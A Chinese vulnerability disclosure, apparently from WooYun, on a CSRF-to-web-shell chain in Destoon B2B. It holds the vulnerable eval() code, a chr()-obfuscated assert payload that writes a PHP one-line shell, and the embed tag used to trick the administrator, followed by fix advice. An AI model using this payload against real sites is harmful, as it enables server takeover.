Destoon B2B csrf getshell

  1. 发布时间: 2014-05-27
  2. 公开时间: 2014-08-25
  3. 漏洞类型: csrf
  4. 危害等级: 中
  5. 漏洞编号: WooYun-2014-62435
  6. 测试版本:2014-05-21

简要描述

上传问题+csrf+后台任意命令执行 = csrf getshell


详细说明

先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。
可以通过上传一个.jpg后缀的swf来进行csrf
然后是后台命令执行
/member/admin/sendmail.inc.php 行151

default:
        if(isset($send)) {
            if(isset($preview) && $preview) {
                $content = stripslashes($content);
                if($template) {
                    if($sendtype == 2) {
                        $emails = explode("\n", $emails);
                        $email = trim($emails[0]);
                    } else if($sendtype == 3) {
                        $emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
                        $email = trim($emails[0]);
                    }
                    $user = _userinfo($fields, $email);
                    eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
                    $content = ob_template($template, 'mail');
                }
                echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
                echo '<strong>邮件正文:</strong><br/><br/>';
                echo $content;
                exit;
            }

漏洞证明

首先把请求抓出来 精简参数 得到命令执行的最简参数如下

moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'

由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下

{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}

下面来制作一个csrf的swf


2622240947fc656900c2cc845a911d4ecd9f4ad3.jpg

注册一个普通用户 登录会员中心给admin发送一个站内信,内容为

<embed src="**.**.**.**/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>
262229310c7da07d7e48f58ee23d706fe0444fa6.jpg

管理员登录后台首页会提示有新的站内信(太体贴了)


2622304203dd5d7130b0edf6df5afcff73c9ad93.jpg

打开站内信即在web根目录生成1.php一句话 密码x

26223206441676e2ce6c1ce7d3379cc090edfa46.jpg


修复方案

  1. 命令执行 非必要别用双引号
  2. csrf 后台操作需要加token验referer
  3. 上传文件不光要检查后缀,文件内容也要查
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 文章分类 后台文章分类列表页模板导的详细步骤建立数据表blog_category,并添加相应的文章字段使用php ...
    JoyceZhao阅读 1,771评论 0 14
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,925评论 0 9
  • 在夏天这些美丽竞放的日子里,一无“饰”处可是对奔放夏日的不敬?不过无论项链还是耳环,在我看来都过于妖冶,我喜欢的还...
    江南玉笛阅读 643评论 2 2
  • 搬了家,一直不适应,怕自己晚上睡不着,就熬夜晚睡,早上的时候还是一点动静就醒来。 昏昏沉沉过了一周,昨日终于熬不住...
    明沝阅读 448评论 0 0
  • 上班工作 意味着什么? 最近会时不时想到这个问题 觉得莫名的悲凉感觉人这一生这么短 却要为了钱而活着 做着违心的事...
    日月浅言阅读 151评论 0 0